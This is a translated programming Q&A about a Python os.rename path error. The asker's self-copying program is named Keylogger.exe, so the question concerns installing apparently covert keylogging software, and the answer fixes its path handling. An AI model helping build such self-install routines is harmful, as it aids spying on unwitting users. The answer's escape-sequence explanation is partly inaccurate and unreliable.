os.rename移动文件

时间:2016-03-02 11:05:00

标签: python windows operating-system exe

我正在尝试创建一个程序,将自身复制到另一个目录中以供以后使用。它在我的Windows 7机器上工作正常但是由于某种原因我收到以下错误消息。

WindowsError: [Error 3] The system cannot find the path specified

我已使用py2exe将其编译为可执行文件。无论如何,这是我的代码:

home = os.path.expanduser("~")
installPath = home + "\Logs"
copyPath = installPath + "\Keylogger.exe"

def installExe(copyPath):
    if not os.path.exists(copyPath):
        path = os.getcwd()
        path = os.path.join(path, "Keylogger.exe")
        os.rename(path, copyPath)

1 个答案:

答案 0 :(得分:1)

打印copyPath并手动检查它是否存在 - 看起来合理吗? 那些反斜杠在例如"\Keys""\Keylogger.exe"是python字符串语法中称为转义序列的问题,因此将以下字符转换为单个字符。有关详情,请参阅文档,例如https://docs.python.org/2.0/ref/strings.html

创建路径的正确而强大的方法是使用os.path.join():

home = os.path.expanduser("~")
installPath = os.path.join( home, "Logs" )
copyPath = os.path.join( installPath, "Keylogger.exe" )